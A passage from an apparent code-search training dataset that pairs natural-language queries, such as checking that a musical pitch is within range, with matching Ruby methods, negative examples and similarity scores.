$game_temp.menu_beep = false\n end\n end", "def deactivate!\n update!(active: false)\n bank_guarantee.try(:deactivate!)\n end", "def deactivate\n return false unless @@instance\n Sketchup.active_model.select_tool(nil)\n true\n end", "def button_up(key)\n self.close if key == Gosu::KbEscape\n end", "def deactivate(view)\n view.invalidate if @drawn\n end", "def deactivate\n return false unless @@instance\n Sketchup.active_model.select_tool(nil)\n true\n end", "def deactivate_field\n device.configure Device::DCO_ACTIVATE_FIELD, 0\n end", "def deactivate!(user)\n return false unless self.active?\n\n @user = user\n\n remove_hook!\n\n self.active = false\n self.save!\n end", "def button_down(id)\r\n if id == Gosu::KB_ESCAPE\r\n close\r\n else\r\n super\r\n end\r\n end", "def key_clear(pc)\n old_user = pc.user\n command(\"key clear\") do\n pc.user = \"\"\n pc.save!\n end.un do\n pc.user = old_user\n pc.save!\n end.run\n commands_end\n end", "def while_key_down *args\n\t\t\tevent(:while_key_down, *args)\n\t\tend", "def destroy\n @api_key.update(active: false)\n respond_to do |format|\n format.html { redirect_to admin_api_keys_url, notice: 'Api key was successfully deactivated.' }\n format.json { head :no_content }\n end\n end", "def process_cancel\n Sound.play_cancel\n Input.update\n deactivate if @symbol.nil?\n @symbol = nil\n call_cancel_handler\n end", "def check_key_delete\n return unless open?\n return if @closing\n if Input.legacy_press?(:B)\n @esc_counter += 1\n if @esc_counter >= 50\n @esc_counter = 0\n selection_ok(nil)\n end\n else\n @esc_counter = 0\n end\n end", "def key(k, x, y)\n case k\n when 27 # Escape\n exit\n end\n GLUT.PostRedisplay()\n end", "def after_update\n @keys_pressed.clear\n @keys_released.clear\n end", "def unset key\n storage.delete key\n end" ]
[ "0.7009377", "0.6822615", "0.67585826", "0.6701934", "0.6498792", "0.64299154", "0.6315975", "0.6154377", "0.6062111", "0.60566175", "0.60437834", "0.60150653", "0.60150653", "0.5974488", "0.5940776", "0.5926243", "0.5882624", "0.5882624", "0.5849684", "0.58440036", "0.58118415", "0.57995284", "0.5796129", "0.57927424", "0.57550085", "0.57211536", "0.5706618", "0.5691166", "0.5690046", "0.56673867", "0.56577647", "0.5657286", "0.5656499", "0.56470555", "0.5641432", "0.56398475", "0.56398475", "0.5631095", "0.56259733", "0.56220275", "0.56220275", "0.5606959", "0.5603992", "0.5594292", "0.55836946", "0.55392873", "0.5528304", "0.5455043", "0.5452197", "0.5437735", "0.54327923", "0.5432753", "0.543065", "0.5410828", "0.5397907", "0.5366271", "0.5348476", "0.5348476", "0.53442687", "0.53251106", "0.5322575", "0.53111744", "0.5309217", "0.53001434", "0.5299881", "0.52820075", "0.5279769", "0.52757525", "0.5269466", "0.5268088", "0.526724", "0.5261282", "0.5258288", "0.5250648", "0.5243734", "0.5236516", "0.5234239", "0.5226659", "0.5223895", "0.52228665", "0.5212848", "0.5210752", "0.5206023", "0.5194397", "0.5188191", "0.5179928", "0.51792705", "0.51780283", "0.51767796", "0.517165", "0.51703393", "0.51678735", "0.5163723", "0.5163359", "0.5162602", "0.5159909", "0.5159751", "0.515686", "0.51519936", "0.5138019", "0.5127768" ]
0.0
-1
Make sure a pitch fits in the key's allowed range.
def check_pitch pitch raise ArgumentError, "pitch is less than pitch range min" if pitch < @pitch_range.min raise ArgumentError, "pitch is more than pitch range max" if pitch > @pitch_range.max end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def key_length_valid?(number)\n number >= 1024 && ( number & (number - 1) == 0 )\n end", "def key_length_valid?(number)\n number >= 1024 && ( number & (number - 1) == 0 )\n end", "def valid_key?(match_data)\n match_data[:key].to_i == (97 - match_data[1..-2].join.to_i) % 97\nend", "def generate_pitch\n # range\n bounds = [@player.min_pitch.generate, @player.max_pitch.generate]\n \n # desired \"normalized\" (no 8ve offset) pitch\n position = @player.pitch_pos.generate.constrain(0..1)\n desired = (position * (bounds.max - bounds.min) + bounds.min).round\n octave_offset = (desired / 12).floor.to_i\n desired_normal = desired - octave_offset * 12\n \n # nearest normal pitch\n nearest_normal = @player.pitches.sort do |px, py|\n (px - desired_normal).abs <=> (py - desired_normal).abs\n end.first\n \n # add 8ve offset back in\n return nearest_normal + octave_offset * 12\n end", "def calculate_key_from_pitch(pitch)\n KEYS_FOR_PITCHES[pitch % 12]\n end", "def valid_key(key)\n valid_rsa_key(key) && (key['x5c']&.length || (key['n'] && key['e']))\n end", "def valid_key?(key)\n return false unless key.is_a?(String)\n return false unless key = encoded_key(key)\n key.length >= 2 && key.length <= 255 && (key !~ BAD_KEY_RE rescue false)\n end", "def validate_length(key)\n if key == 'text'\n instance_variable_get(\"@#{key}\").size.between?(1, 120)\n else\n instance_variable_get(\"@#{key}\").size.between?(6, 16)\n end\n end", "def valid_byr?(data)\n return false unless data\n\n 1920 <= data.to_i && data.to_i <= 2002\nend", "def in_range?(key)\n (key>=range_start) && (range_end==LAST_POSSIBLE_KEY || key < range_end)\n end", "def in_key_bounds?(key, x, y)\n bounds = @keys[key]\n x += @params[:xoffset]\n y += @params[:yoffset]\n x >= bounds[:left] - @params[:hmargin] / 2 &&\n x <= bounds[:right] + @params[:hmargin] / 2 &&\n y >= bounds[:top] - @params[:vmargin] / 2 &&\n y <= bounds[:bottom] + @params[:vmargin] / 2\n end", "def eql?(pitch)\n (self <=> pitch) == 0\n end", "def build_pitch\n if @original_pitch\n self.pitch = @original_pitch.to_i(@pattern)\n @key = calculate_key_from_pitch(@pitch)\n @octave = calculate_octave_from_pitch(@pitch)\n @accidental = calculate_accidental_from_pitch(@pitch)\n else\n @key = @original_key.upcase\n @octave = (@original_octave && @original_octave.to_i) || 5\n @accidental = @original_accidental.downcase if @original_accidental\n self.pitch = calculate_pitch_from_key_octave_and_accidental(@key, @octave, @accidental)\n end\n @pitch\n end", "def partially_valid_public_key?(point)\n return false if point.group != self\n return false if point.infinity?\n point_satisfies_equation?(point)\n end", "def capable?(key); end", "def valid?(rng = nil, thorough = false)\n rng ||= Botan::RNG.new\n flags = thorough ? 1 : 0\n rc = LibBotan.botan_privkey_check_key(@ptr, rng.ptr, flags)\n rc.zero?\n end", "def validate_key_bytes(key_bytes); end", "def can_tweak_sign?(normal_sign, vandalized_sign)\n normal_hash = character_count(normal_sign)\n vandal_hash = character_count(vandalized_sign)\n vandal_hash.each do |k, v|\n return false if normal_hash[k] < v\n end\n true\nend", "def invalid_api_params?(allow_api, key)\n if allow_api\n key.to_s.length < 6\n else\n (1...6).include?(key.to_s.length)\n end\n end", "def can_write_only_greek?(input)\n !!(input.match(GREEK_LOOKING_CHARS))\n end", "def calculate_pitch_from_key_octave_and_accidental(key, octave, accidental)\n pitch = 12 * octave\n pitch += PITCHES[key]\n pitch += ACCIDENTALS[accidental] || 0\n pitch\n end", "def not_within_hypothetical_range?(dest)\n\t(dest[0] < 0 || dest[1] < 0) || (dest[0] > 7 || dest[1] > 7)\nend", "def output_midi_values_in_key_signature( key, tonality )\n\t\tstarting_pitch_val = KEY[ key ]\n\n\t\tfinal_values = []\n\t\t8.times do |oct|\n\t\t\tTONALITY[ tonality ].each do |step|\n\t\t\t\tif starting_pitch_val + (step + 12*oct) > 108\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\tfinal_values << starting_pitch_val + (step + 12*oct)\n\t\t\tend\n\t\tend\n\t\tfinal_values\n\tend", "def can_tweak_sign?(normal_sign, vandalized_sign)\n normal_count = character_count(normal_sign)\n vandal_count = character_count(vandalized_sign)\n vandal_count.each do |k,v|\n if normal_count[k] < v\n return false\n end\n end\n return true\nend", "def valid?\n letter_count = password.count letter\n letter_count <= max && letter_count >= min\n end", "def check_bounds(value)\n return value >= self.bound.lower_bound && value <= self.bound.upper_bound\n end", "def unsafe?(speed)\n if speed < 40 || speed > 60\n true\n else\n false\n end\nend", "def pitch\n @pitch || build_pitch\n end", "def check(key_value)\n\t\t\tcase key_value.class.to_s\n\t\t\twhen 'Array'\t\n\t\t\t\traise ArgumentError, \"Altering values for numeral 1 and 5 is not allowed\" if key_value[1].to_i == 1 || key_value[1].to_i == 5\n\t\t\t\traise ArgumentError, \"Altering the corresponding values for roman numeral 'I' and 'V' not allowed\" if key_value[0] == 'I' || key_value[0] == 'V'\n\t\t\t\traise ArgumentError, \"An attmept was made to set value that is not among the base values #{RNSUBBASE.values}\" if !RNSUBBASE.values.include?(key_value[1].to_i) \n\t\t\twhen 'Hash'\n\t\t\t\tkey_value.each do |key, value|\n\t\t\t\t\tif RNSUBBASE.key?(key) && RNSUBBASE[key] != key_value[key] && !key_value.value?(RNSUBBASE[key])\n\t\t\t\t\t\traise ArgumentError, \"Roman numeral #{key} to be used as a user defined roman numeral for #{value} provide user defined roman numeral for #{RNSUBBASE[key]}\" \n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\twhen 'Fixnum'\n\t\t\t\traise ArgumentError, \"Currently unable to convert values larger than 8999, primarily due to time restrictions \\\"next update maybe\\\"\" unless key_value < 9000\t\n\t\t\telse\n\t\t\t\tputs \"What happened\"\n\t\t\tend\n\t\t\tself\n\t\tend", "def in_abseal_range?\n # correct value out of range for ABSEAL factor\n factor = BlizzABS::Config::ABSEAL_FACTOR < 1 ? 1 :\n BlizzABS::Config::ABSEAL_FACTOR.to_i\n # don't update if outside of screen (left, up, right, down)\n return false if @real_x < $game_map.display_x - factor * 128\n return false if @real_y < $game_map.display_y - factor * 128\n return false if @real_x >= $game_map.display_x + 2560 + factor * 128\n return false if @real_y >= $game_map.display_y + 1920 + factor * 128\n # update\n return true\n end", "def sanitize(key)\n # E.g. cur/1263444769.M975543P58179Q11.gnt.local:2,\n unless KEY_VALIDATORS.any?{|validator| key.match(validator) }\n content_type \"text/plain\"\n halt 403, \"Malformed key: #{key}\"\n end\n end", "def check_write_key!\n fail ArgumentError, 'Write key must be initialized' if @write_key.nil?\n end", "def guesses_allowed\n\t\tif @word.length > 12 \n\t\t\t 8\n\t\telsif @word.length <= 12 && @word.length > 8\n\t\t\t 5\n\t\telse\n\t\t\t 4\n\t\tend\t\t\t\n\tend", "def sanity_check(modifiers)\n raise \"Invalid width specification\" unless modifiers.size <= 2\n\n precision = modifiers.fetch(0, 10)\n raise \"Unsupported precision for DECIMAL type\" unless precision >= 1 && precision <= 65\n\n scale = modifiers.fetch(1, 0)\n raise \"Unsupported scale for DECIMAL type\" unless scale >= 0 && scale <= 30 && scale <= precision\n\n [precision, scale]\n end", "def unsafe?(speed)\n if speed > 60 || speed < 40\n return true \nelse\n return false\n end\nend", "def unsafe?(speed)\n # It should return true if the speed is either below\n # 40 or above 60.\n if speed < 40 || speed > 60\n return true\n # Going 50 miles per hour, however, would return\n # false as that's within the \"safe\" range.\n else\n return false\n end\nend", "def lkeyboard?(x, y)\n return x < @params[:width] / 2\n end", "def valid?\n values.size == Merit::POINTS &&\n surface > 1 / 3601.0 && surface < 1 / 3599.0\n end", "def cover?(key)\n range.cover? key\n end", "def pitch_params\n params.fetch(:pitch, {}).permit(:attachment)\n end", "def validates_length_range(range, atts, opts={})\n validatable_attributes(atts, opts){|a,v,m| (m || \"is outside the allowed range\") unless v && range.include?(v.length)}\n end", "def key?(p0) end", "def pitch_params\n params.require(:pitch).permit(:name, :normal_price, :special_price, :active, :other, :type, :url1, :url2, :url3, :entity_id)\n end", "def pitch_params\n params.require(:pitch).permit( :name, :brief_date, :brief_email_contact, :brand_id )\n end", "def old_enough?(candidate)\n raise ArgumentError, 'candidate must have a :age key' unless candidate.has_key?(:age)\n candidate[:age] >= MIN_AGE ? true : false\nend", "def can_tweak_sign?(normal_sign, vandalized_sign)\n norm_count = character_count(normal_sign)\n vandal_count = character_count(vandalized_sign)\n norm_count.each do |k, v|\n return false if v < vandal_count[k]\n end\n true \nend", "def allow?(val = nil)\n val = val.nil? ? random_val : hashed_val(val)\n val < ramp_val\n end", "def allow?(val = nil)\n val = val.nil? ? random_val : hashed_val(val)\n val < ramp_val\n end", "def can_tweak_sign?(normal_sign, vandalized_sign)\n hash1 = character_count(normal_sign)\n hash2 = character_count(vandalized_sign)\n # Check if the number of each char in vandalized sign is more than what it has in normal sign:\n hash2.each {|key, value| return false if value > hash1[key]}\n true\nend", "def valid_public_key?(point)\n return false if point.group != self\n return false if point.infinity?\n return false if !point_satisfies_equation?(point)\n point.multiply_by_scalar(order).infinity?\n end", "def ensure_bounds\n if self.position > min_position\n self.position = min_position\n false\n elsif self.position < max_position\n self.position = max_position\n false\n else\n true\n end\n end", "def hand_range_params\n params.require(:hand_range).permit(:RangeName, :RangeScope0, :RangeScope1, :RangeScope2, :RangeScope3, :RangeScope4, :UserID)\n end", "def check_allowed_interval(safety_parameters)\r\n allowed_interval = safety_parameters[:allowed_interval]\r\n unless allowed_interval.class.superclass == Numeric\r\n fail \"Allowed interval parameter passed is not a number. It was: #{allowed_interval}\"\r\n else \r\n @allowed_interval = allowed_interval\r\n end\t\r\n end", "def correct_license_length\n key = Agent.config[:license_key]\n\n if key.length == 40\n true\n else\n ::NewRelic::Agent.logger.error(\"Invalid license key: #{key}\")\n false\n end\n end", "def valid_quality?\n quality < MAX_QUALITY && quality > MIN_QUALITY\n end", "def out_of_range?\n value < 1 || value > 12\n end", "def ssn_key_valid?(ssn_number)\n key = ssn_number[-2..-1].to_i\n ssn_without_key = ssn_number[0..-3].delete(\" \").to_i\n remainder_of_calculation = (97 - ssn_without_key) % 97\n remainder_of_calculation == key\nend", "def valid?(value)\n return value >= 0 && value <= 19\n end", "def check_input_range\n if @position > 9 || @position < 1\n return false\n else return true\n end\n end", "def key_strength=(value)\n @key_strength = value\n end", "def bounded?\n @timestamps[-2] + 2.0 <= video_length\n end", "def can_tweak_sign?(normal_sign, vandalized_sign)\n dist_normal_sign = character_count(normal_sign)\n dist_vandalized_sign = character_count(vandalized_sign)\n dist_vandalized_sign.all?{ |ch, freq| freq <= dist_normal_sign[ch] }\nend", "def %(pitch) to_hz / pitch.to_hz end", "def ensure_valid_key( key )\n key.to_s.index( /\\./ ) ? key.to_s.gsub( /\\./, '_' ) : key\n end", "def update\n if @pitch.update(pitch_params)\n api_success\n else\n api_fail @pitch.errors, :unprocessable_entity\n end\n end", "def barely_invalid_string(boundary, length, valid_char)\n if boundary == :max\n invalid_length = length + 1\n elsif boundary == :min\n invalid_length = length - 1\n else\n raise ArgumentError, \"boundary must be :max or :min\"\n end\n valid_char * invalid_length\nend", "def can_tweak_sign?(normal_sign, vandalized_sign)\n ncount = character_count(normal_sign)\n vcount = character_count(vandalized_sign)\n vcount.each do |ch, count|\n return false if vcount[ch] > ncount[ch]\n end\n true\nend", "def can_tweak_sign?(normal_sign, vandalized_sign)\n no_prank = character_count(normal_sign)\n vandalized = character_count(vandalized_sign)\n\n vandalized.all? do |letter, count|\n no_prank[letter.downcase] >= count\n end\nend", "def pounces? question, force = false\n @strength >= (question.difficulty - guess_range) or force\n end", "def match_patt?(text_base, offset, len)\n return true if len <= 0\n\n xl = @xl[len-1]\n it = text_base + offset\n\n ht = (@hashes_t[it+len]-xl*@hashes_t[it]) % @mod\n hp = (@hashes_p[offset+len]-xl*@hashes_p[offset]) % @mod\n\n ht == hp\n end", "def calculate_accidental_from_pitch(value)\n ACCIDENTALS_FOR_PITCH[value % 12]\n end", "def in_key_context!\n self.each do |tone| \n tone.tone = (tone.tone + key.index) #% 12\n tone.letter_index = (tone.letter_index + key.letter_index) % 7\n end\n true\n end", "def unsafe?(speed)\n\t# binding.pry\n\tif speed < 40 || speed > 60\n\t\treturn true\n\tend\n\treturn false\nend", "def must_hit\n return true if @hand.point != \"Blackjack\" && @hand.point <= 16\n return false\n end", "def validate_guess(guess)\n valid_chars?(guess) && valid_length?(guess) \n end", "def valid_distrib(free)\n Stat.symbols.each{|sym|\n if self[sym].to_i < 0\n errors.add(sym, \" can't be negative.\")\n end\n }\n points = self.sum_points\n errors.add(\" \",\"distribued freepoints exceed the number available. (Current = \" + points.to_s + \")\") \\\n if points > free\n errors.size == 0\n end", "def check_key_permissions(key_path)\n # Windows systems don't have this issue\n return if Util::Platform.windows?\n\n @logger.debug(\"Checking key permissions: #{key_path}\")\n stat = File.stat(key_path)\n\n if stat.owned? && Util::FileMode.from_octal(stat.mode) != \"600\"\n @logger.info(\"Attempting to correct key permissions to 0600\")\n File.chmod(0600, key_path)\n\n stat = File.stat(key_path)\n if Util::FileMode.from_octal(stat.mode) != \"600\"\n raise Errors::SSHKeyBadPermissions, :key_path => key_path\n end\n end\n rescue Errno::EPERM\n # This shouldn't happen since we verified we own the file, but\n # it is possible in theory, so we raise an error.\n raise Errors::SSHKeyBadPermissions, :key_path => key_path\n end", "def new_rate_must_be_greater_than_minimum\n if self.is_configuration_new_rate?\n errors.add(:new_rate, I18n.t('room_type_channel_mappings.create.message.new_rate_should_be_greater_than_minimum', :minimum => self.room_type.final_minimum_rate)) if\n self.new_rate < self.room_type.final_minimum_rate\n end\n end", "def <=>(pitch)\n [to_i, oct, pc] <=> [pitch.to_i, pitch.oct, pitch.pc]\n end", "def over_bound?(x, y)\n if (x != @x || y != @y) && $game_map.valid?(x, y)\n max_w = $game_map.max_width ; max_h = $game_map.max_height\n screen_x = $game_map.adjust_x(x) * 32 + 16\n screen_y = $game_map.adjust_y(y) * 32 + 32\n sx = (screen_x / 32).to_i; sy = (screen_y / 32).to_i\n if sx.between?(0 - out_offset, max_w + out_offset) && \n sy.between?(0 - out_offset, max_h + out_offset)\n \n return false\n end # sx, sy\n end # xy != @xy && map_valid\n return true\n end", "def not_safe? (speed)\n speed >= 40 && speed <= 60 ? false : true\n end", "def hacknu_preference_params\n params.require(:hacknu_preference).permit(:min_age, :max_age, :distance)\n end", "def check_key_permissions(key_path)\n # Windows systems don't have this issue\n return if Mario::Platform.windows?\n\n stat = File.stat(key_path)\n\n if stat.owned? && file_perms(key_path) != \"600\"\n File.chmod(0600, key_path)\n\n raise Errors::SSHKeyBadPermissions, :key_path => key_path if file_perms(key_path) != \"600\"\n end\n rescue Errno::EPERM\n # This shouldn't happen since we verify we own the file, but just\n # in case.\n raise Errors::SSHKeyBadPermissions, :key_path => key_path\n end", "def check_hand(hand)\n\t\t\tmin_value = hand.min_value\n\t\t\tclamped = hand.clamp_value(21, 21)\n\t\t\tif min_value > 21\n\t\t\t\tupdated = self.bust(hand)\n\t\t\telsif clamped > 0 # Value of hand is 21\n\t\t\t\tupdated = self.stand(hand, true, hand.is_blackjack)\n\t\t\telse\n\t\t\t\tupdated = [hand]\n\t\t\tend\n\t\t\treturn updated\n\t\tend", "def check_song_length\n if self.length > 10 then\n self.errors.add(:length, \"is longer than 10 minutes...Calm down Free Bird.\")\n elsif self.length < 1 then\n self.errors.add(:length, \"is shorter than 1 minute...C'MON MAN!\")\n end\n end", "def valid_value?(value)\n @params.each_pair do |key, param|\n return false if key == :minimum && (value.nil? || value.length < param)\n return false if key == :maximum && !value.nil? && value.length > param\n return false if key == :exact && (value.nil? || value.length != param)\n end\n\n true\n end", "def check_key_valid\n @key_warning = false unless defined?(@key_warning)\n if !configuration.valid_api_key? && !@key_warning\n configuration.warn(\"No valid API key has been set, notifications will not be sent\")\n @key_warning = true\n end\n end", "def ensure_valid(pins)\n raise 'Should not be able to roll after game is over.' if over?\n raise 'Pin count exceeds pins on the lane' if over_roll?(pins)\n end", "def amount_inside_the_pot_bounds\n return if pot.nil?\n return true if pot.upper_bound.nil?\n return true if amount <= pot.upper_bound\n errors.add(:amount, :amount_out_of_bounds)\n false\n end", "def event_must_be_within_capacity\n unless self.event.is_available?(self.party_size)\n errors.add(:party_size, \"Overcapacity\")\n end\n end", "def valid_hgt?(data)\n return false unless data\n\n if (data.match? \"cm\")\n 150 <= data.to_i && data.to_i <= 193\n elsif (data.match? \"in\")\n 59 <= data.to_i && data.to_i <= 76\n else\n false\n end\nend", "def valid_height?(h)\n unit = h.chars.last(2).join('')\n value = h.chars.first(3).join('').to_i\n\n if unit == 'cm'\n value >=150 && value <= 193\n elsif unit == 'in'\n value >= 59 && value <= 76\n else\n false\n end\n end", "def valid?(x, y)\n return (x >= 0 and x < $game_map.width and y >= 0 and y < $game_map.height)\n end", "def valid?(x, y)\n return (x >= 0 and x < $game_map.width and y >= 0 and y < $game_map.height)\n end", "def would_fit(offs_x, offs_y)\n # Check for map collisions\n not @map.solid?(@x + offs_x - 10, @y + offs_y) and\n not @map.solid?(@x + offs_x + 10, @y + offs_y) and\n not @map.solid?(@x + offs_x - 10, @y + offs_y - 45) and\n not @map.solid?(@x + offs_x + 10, @y + offs_y - 45)\n end", "def constrain_length(bob, minlen, maxlen)\n dir = bob.location - @anchor\n d = dir.mag\n # Is it too short?\n if d < minlen\n dir.normalize!\n dir *= minlen\n # Reset location and stop from moving (not realistic physics)\n bob.location = @anchor + dir\n bob.velocity *= 0\n elsif d > maxlen # is it too long?\n dir.normalize!\n dir *= maxlen\n # Reset location and stop from moving (not realistic physics)\n bob.location = @anchor + dir\n bob.velocity *= 0\n end\n end", "def not_safe?(speed)\n\tspeed.between?(40, 60) ? false : true\nend", "def test_it_can_handle_keys_longer_than_250_characters\n long_key = 'a' * 260\n assert store.write(long_key, 123)\n assert_equal 123, store.read(long_key)\n end", "def barely_invalid_string(boundary, length, valid_char)\n if boundary == :max\n invalid_length = length + 1\n elsif boundary == :min\n invalid_length = length - 1\n else\n raise ArgumentError, \"boundary must be :max or :min\"\n end\n valid_char * invalid_length\n end", "def out_of_range?(v)\n v < 1 || v > 12\n end" ]
[ "0.56189775", "0.56189775", "0.5522284", "0.5513022", "0.5493864", "0.53659564", "0.53391254", "0.52893674", "0.52798766", "0.5230192", "0.5197499", "0.5140459", "0.5120379", "0.50213265", "0.50053483", "0.49846", "0.49839526", "0.49651346", "0.495985", "0.49499112", "0.49279642", "0.4923887", "0.48947367", "0.48827672", "0.48791128", "0.48771688", "0.48741654", "0.48585862", "0.48321685", "0.48316255", "0.48299924", "0.4827077", "0.48114923", "0.48109755", "0.48037255", "0.4801267", "0.47972006", "0.4797076", "0.47938037", "0.47792742", "0.4776429", "0.4770938", "0.47498453", "0.47477767", "0.47457513", "0.47400233", "0.4736146", "0.4736146", "0.47341746", "0.47202265", "0.47182122", "0.4715667", "0.47143027", "0.47114113", "0.47106278", "0.47000465", "0.46973994", "0.46951985", "0.4693947", "0.46848735", "0.46800736", "0.46710074", "0.46686864", "0.46538347", "0.46483895", "0.4646398", "0.4642302", "0.46373016", "0.4635008", "0.46349484", "0.46271464", "0.462573", "0.46198878", "0.46136254", "0.46109396", "0.4610839", "0.4608354", "0.46079952", "0.46079016", "0.4603092", "0.4601967", "0.4589797", "0.45872417", "0.45789334", "0.45717886", "0.45675847", "0.45672524", "0.456264", "0.45609158", "0.4555778", "0.45557624", "0.45537537", "0.45480525", "0.45480525", "0.45423216", "0.45401222", "0.4532929", "0.45329183", "0.45304987", "0.45303422" ]
0.7555697
0
GET /datasets GET /datasets.xml
def index request.format = :eml if params[:Dataset] @keyword_list = params['keyword_list'] @people = Person.find_all_with_dataset(:order => 'sur_name') @themes = Theme.find(:all, :order => :weight) @datasets = Dataset.all @studies = collect_and_normalize_studies(@datasets) @studies = [@study] if @study @crumbs = [] respond_to do |format| format.html # index.rhtml format.xml { render :xml => @datasets.to_xml } format.eml { render :eml => @datasets } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_datasets\n authenticate unless authenticated?\n response = RestClient::Request.execute(\n url: @@datasets_endpoint,\n method: :get,\n headers: headers('application/json')\n )\n return response\n end", "def index\n @datasets = Dataset.all\n end", "def index\n @datasets = Dataset.all\n end", "def index\n @datasets = Dataset.all\n end", "def index\n @datasets = Dataset.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @datasets }\n end\n end", "def datasets\n @datasets || []\n end", "def datasets\n @datasets || []\n end", "def index\n @datasets = Dataset.published\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @datasets }\n end\n end", "def show\n @dataset = Dataset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def show\n @dataset = Dataset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def index\n @qdatasets = Qdataset.all\n end", "def show_all_datasets(pid)\r\n GoodData.use pid\r\n puts \"Project has this datasets:\"\r\n GoodData.project.datasets.each do |dataset|\r\n puts \"Dataset name: #{dataset.title.bright} Dataset identifier: #{dataset.identifier.bright}\"\r\n end\r\n end", "def datasets\n datasets = []\n dataset.each do |d|\n if d[:data].first.is_a?(Array)\n datasets += d[:data]\n else\n datasets << d[:data]\n end\n end\n datasets\n end", "def list_datasets request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_datasets_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1::ListDatasetsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def index\n @fmr_datasets = FmrDataset.all\n end", "def index\n @dataset_data = DatasetDatum.all\n end", "def download\n @data = HeyDan::Helper.get_data_from_url(HeyDan.cdn + '/' + dataset_file_name)\n end", "def list_datasets request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_datasets_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1beta1::ListDatasetsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def dataset_names\n metadata[:datasets]\n end", "def index\n @dataset_researchers = Lien.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @dataset_researchers }\n end\n end", "def list_datasets all: nil, filter: nil, max: nil, token: nil\n # The list operation is considered idempotent\n execute backoff: true do\n service.list_datasets @project, all: all, filter: filter, max_results: max, page_token: token\n end\n end", "def datasets\n ds = inclusively { dataset }\n [ds] + ds.descendants\n end", "def show\n @dataset = Dataset.find(params[:id])\n @title = @dataset.title\n @roles = @dataset.roles\n\n respond_to do |format|\n format.html # show.rhtml\n format.eml { render :xml => @dataset.to_eml }\n format.xml { render :xml => @dataset.to_xml }\n end\n end", "def dataset(id)\n response = RestClient.get settings.uris.dataset_metadata(id)\n return JSON.parse( response.to_str )\n end", "def [](name)\n datasets.fetch(name)\n end", "def [](name)\n datasets.fetch(name)\n end", "def index\n @order = params[:order] || 'created_at desc'\n @datasets = Dataset.find(:all, :order => @order, :conditions => params[:conditions]) \n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @datasets }\n format.rss\n end\n end", "def index\n @datasets = Dataset.find(:all, :order => 'is_featured desc, last_uploaded_at desc')\n\n respond_to do |wants|\n wants.html # index.html.erb\n wants.xml { render :xml => @datasets }\n end\n end", "def index\n @datasets = Dataset.select_without_data.order(:name).page(params[:page])\n end", "def get_all_datasets_and_resources(base_url)\n return handle_request(URI.encode(base_url + '/current_package_list_with_ressources'))\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dataset }\n end\n end", "def get_datasets(quandl_database_code)\n db = Quandl::Database.get(quandl_database_code)\n total_pages = db.datasets.meta[:total_pages]\n (1..total_pages).reduce([]) do |memo, page_number|\n i = 1\n begin\n datasets = db.datasets(params: {page: page_number}).values\n memo.concat(datasets)\n rescue SocketError => e\n puts \"Connection error ##{i}\"\n puts e.message\n puts e.backtrace(\"\\n\")\n i += 1\n retry if i <= 10\n rescue => e\n puts \"Error ##{i}\"\n puts e.message\n puts e.backtrace(\"\\n\")\n i += 1\n retry if i <= 10\n end\n memo\n end\n end", "def show\n @dataset = Dataset.find(params[:id])\n \n @title = @dataset.name + \" : \" + @title\n respond_to do |format|\n format.html # show.html.erb\n # format.xml { render :xml => @dataset.to_xml (:include => [:format_urls, :format_types] ) }\n format.xml { render }\n end\n end", "def index\n #@experiments = Experiment.all\n @experiments = Experiment.paginate :per_page => 5, :page => params[:page], :order => \"id DESC\", :conditions => ['status=1']\n @datasets=[]\n @experiments.each do |exp|\n @datasets << createThumbJSON(Rails.root.join(\"public\",\"SAX_DATA\", exp.data_directory, \"iofq_data_file.dat\")) \n end\n \n respond_to do |format|\n format.html { render :action => \"list\"} # index.html.erb\n format.xml { render :xml => @experiments }\n end\n end", "def get(id)\n dataset.get(id)\n end", "def index\n\t\t@jquery = InitHelper.new( gon )\n\t\t@data_sets = DataSet.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @data_sets }\n\t\tend\n\tend", "def query_dataset(domo_dataset_id)\n authenticate unless authenticated?\n headers = {\n 'Authorization': \"Bearer #{@access_token}\",\n 'Accept': 'text/csv'\n }\n endpoint = \"#{@@datasets_endpoint}/#{domo_dataset_id}/data?includeHeader=true&fileName=#{domo_dataset_id}.csv\"\n response = RestClient::Request.execute(\n url: endpoint,\n method: :get,\n headers: headers\n )\n if response.code != 200\n raise SdkException::HttpException(response.status, response.message)\n end\n return response.body\n end", "def get_chart(options={})\n api_response = @api_client.make_api_request(:GET, \"artist/chart\", {}, options)\n @api_client.chart_item_digestor.list_from_xml(api_response.content.chart)\n end", "def results\n @dataset.all\n end", "def get_dataset request_pb, options = nil\n raise ::ArgumentError, 